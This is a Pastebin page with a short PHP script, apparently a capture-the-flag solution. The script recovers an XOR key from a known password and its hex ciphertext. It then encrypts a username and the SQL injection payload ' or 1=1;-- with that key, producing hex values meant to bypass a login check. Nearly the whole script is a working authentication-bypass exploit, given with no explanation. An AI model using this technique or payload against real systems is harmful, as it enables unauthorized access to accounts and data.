Advertisement
Guest User

Untitled

a guest
May 7th, 2017
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.60 KB | None | 0 0
  1. <?php
  2. function encrypt($string, $secret)
  3. {
  4. for($i = 0; $i < strlen($string); $i++)
  5. {
  6. $string[$i] = ($string[$i] ^ $secret[$i % strlen($secret)]);
  7. }
  8.  
  9. return $string;
  10. }
  11.  
  12. $user = "Daryl";
  13.  
  14. $bin_pwd = "questaeunapassword!!";
  15. $hex_enc_pwd = "121c0a10170e171c1d0e13081c101400000d524e";
  16. $enc_pwd = hex2bin($hex_enc_pwd);
  17.  
  18. $secret = encrypt($bin_pwd, $enc_pwd);
  19.  
  20. $injection = "' or 1=1;-- ";
  21.  
  22. $enc_user = bin2hex(encrypt($user, $secret));
  23. $enc_injection = bin2hex(encrypt($injection, $secret));
  24.  
  25. print("User: ");
  26. print($enc_user);
  27. print("\nPassword: ");
  28. print($enc_injection);
  29. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement